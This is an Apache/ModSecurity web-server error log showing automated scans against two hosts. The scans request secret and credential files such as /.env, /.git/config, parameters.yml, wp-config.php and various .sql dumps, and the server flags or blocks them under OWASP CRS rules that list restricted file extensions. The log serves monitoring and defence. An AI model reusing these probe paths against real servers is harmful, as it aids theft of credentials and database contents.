[Fri Jul 17 08:29:06.867581 2026] [security2:error] [pid 2014256:tid 2014256] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaeoZvbo7N5o5zeYC7CgAAABw"]
[Fri Jul 17 08:29:06.867848 2026] [security2:error] [pid 2014256:tid 2014256] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaeoZvbo7N5o5zeYC7CgAAABw"]
[Fri Jul 17 08:29:07.246068 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:07.398993 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.86.189.169:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.admin.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaew5GPQ6hs4VrfMo9-QAAAAY"]
[Fri Jul 17 08:29:07.399354 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaew5GPQ6hs4VrfMo9-QAAAAY"]
[Fri Jul 17 08:29:07.399581 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaew5GPQ6hs4VrfMo9-QAAAAY"]
[Fri Jul 17 08:29:07.599070 2026] [security2:error] [pid 2014286:tid 2014286] [client 54.86.189.169:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.admin.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaex15lhZh2QtC5qEWRwAAAB8"]
[Fri Jul 17 08:29:07.599336 2026] [security2:error] [pid 2014286:tid 2014286] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaex15lhZh2QtC5qEWRwAAAB8"]
[Fri Jul 17 08:29:07.599607 2026] [security2:error] [pid 2014286:tid 2014286] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaex15lhZh2QtC5qEWRwAAAB8"]
[Fri Jul 17 08:29:08.859094 2026] [security2:error] [pid 2014279:tid 2014279] [client 54.86.189.169:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.admin.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almafEz_ZDvgWqiMlMbLfQAAAB0"]
[Fri Jul 17 08:29:08.859509 2026] [security2:error] [pid 2014279:tid 2014279] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almafEz_ZDvgWqiMlMbLfQAAAB0"]
[Fri Jul 17 08:29:08.859785 2026] [security2:error] [pid 2014279:tid 2014279] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almafEz_ZDvgWqiMlMbLfQAAAB0"]
[Fri Jul 17 08:29:09.196197 2026] [ssl:error] [pid 2014308:tid 2014308] (70014)End of file found: [client 66.85.158.91:42026] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:29:09.422355 2026] [ssl:error] [pid 2014286:tid 2014286] (70014)End of file found: [client 66.85.158.91:42038] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:29:09.480268 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.86.189.169:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.admin.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almafY1dLClkUfK_dfHhtwAAAAI"]
[Fri Jul 17 08:29:09.480637 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almafY1dLClkUfK_dfHhtwAAAAI"]
[Fri Jul 17 08:29:09.480960 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almafY1dLClkUfK_dfHhtwAAAAI"]
[Fri Jul 17 08:29:10.397225 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.86.189.169:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.admin.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almafol9vhFBGA6D8l92iAAAAAw"]
[Fri Jul 17 08:29:10.397575 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almafol9vhFBGA6D8l92iAAAAAw"]
[Fri Jul 17 08:29:10.397837 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.86.189.169:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almafol9vhFBGA6D8l92iAAAAAw"]
[Fri Jul 17 08:29:10.423445 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:42116] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:29:10.518867 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:11.091937 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:42194] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:29:11.235468 2026] [authz_core:error] [pid 2013809:tid 2013809] [client 32.197.218.105:0] AH01630: client denied by server configuration: /home/veneelk/public_html/wp-config.php
[Fri Jul 17 08:29:11.236513 2026] [security2:error] [pid 2013797:tid 2013797] [client 32.197.218.105:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jayantha.venee.lk"] [uri "/dump.sql"] [unique_id "almaf1h1WDijTxd1xw5JHwAAAAc"]
[Fri Jul 17 08:29:11.236908 2026] [security2:error] [pid 2013797:tid 2013797] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jayantha.venee.lk"] [uri "/dump.sql"] [unique_id "almaf1h1WDijTxd1xw5JHwAAAAc"]
[Fri Jul 17 08:29:11.237243 2026] [security2:error] [pid 2013797:tid 2013797] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jayantha.venee.lk"] [uri "/dump.sql"] [unique_id "almaf1h1WDijTxd1xw5JHwAAAAc"]
[Fri Jul 17 08:29:11.302542 2026] [security2:error] [pid 1993715:tid 1993715] [client 32.197.218.105:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jayantha.venee.lk"] [uri "/db.sql"] [unique_id "almaf3RlmrtCoY_COpcitAAAAAg"]
[Fri Jul 17 08:29:11.302940 2026] [security2:error] [pid 1993715:tid 1993715] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jayantha.venee.lk"] [uri "/db.sql"] [unique_id "almaf3RlmrtCoY_COpcitAAAAAg"]
[Fri Jul 17 08:29:11.303258 2026] [security2:error] [pid 1993715:tid 1993715] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jayantha.venee.lk"] [uri "/db.sql"] [unique_id "almaf3RlmrtCoY_COpcitAAAAAg"]
[Fri Jul 17 08:29:11.362107 2026] [security2:error] [pid 2013830:tid 2013830] [client 32.197.218.105:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jayantha.venee.lk"] [uri "/.env"] [unique_id "almafwRRrtuZqNDDSqWs6AAAABo"]
[Fri Jul 17 08:29:11.362376 2026] [security2:error] [pid 2013830:tid 2013830] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jayantha.venee.lk"] [uri "/.env"] [unique_id "almafwRRrtuZqNDDSqWs6AAAABo"]
[Fri Jul 17 08:29:11.362738 2026] [security2:error] [pid 2013830:tid 2013830] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jayantha.venee.lk"] [uri "/.env"] [unique_id "almafwRRrtuZqNDDSqWs6AAAABo"]
[Fri Jul 17 08:29:11.380800 2026] [security2:error] [pid 1994967:tid 1994967] [client 32.197.218.105:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jayantha.venee.lk"] [uri "/data.sql"] [unique_id "almaf0hq6UAnqYko0LpXdQAAABE"]
[Fri Jul 17 08:29:11.381200 2026] [security2:error] [pid 1994967:tid 1994967] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jayantha.venee.lk"] [uri "/data.sql"] [unique_id "almaf0hq6UAnqYko0LpXdQAAABE"]
[Fri Jul 17 08:29:11.381516 2026] [security2:error] [pid 1994967:tid 1994967] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jayantha.venee.lk"] [uri "/data.sql"] [unique_id "almaf0hq6UAnqYko0LpXdQAAABE"]
[Fri Jul 17 08:29:11.435187 2026] [security2:error] [pid 1996894:tid 1996894] [client 32.197.218.105:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jayantha.venee.lk"] [uri "/.git/config"] [unique_id "almaf44Wmn5zySdNNkAk_wAAABM"]
[Fri Jul 17 08:29:11.435440 2026] [security2:error] [pid 1996894:tid 1996894] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jayantha.venee.lk"] [uri "/.git/config"] [unique_id "almaf44Wmn5zySdNNkAk_wAAABM"]
[Fri Jul 17 08:29:11.435737 2026] [security2:error] [pid 1996894:tid 1996894] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jayantha.venee.lk"] [uri "/.git/config"] [unique_id "almaf44Wmn5zySdNNkAk_wAAABM"]
[Fri Jul 17 08:29:11.437722 2026] [security2:error] [pid 1993574:tid 1993574] [client 32.197.218.105:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jayantha.venee.lk"] [uri "/backup.sql"] [unique_id "almaf90t9Kb_MdNxrg6-6wAAAAM"]
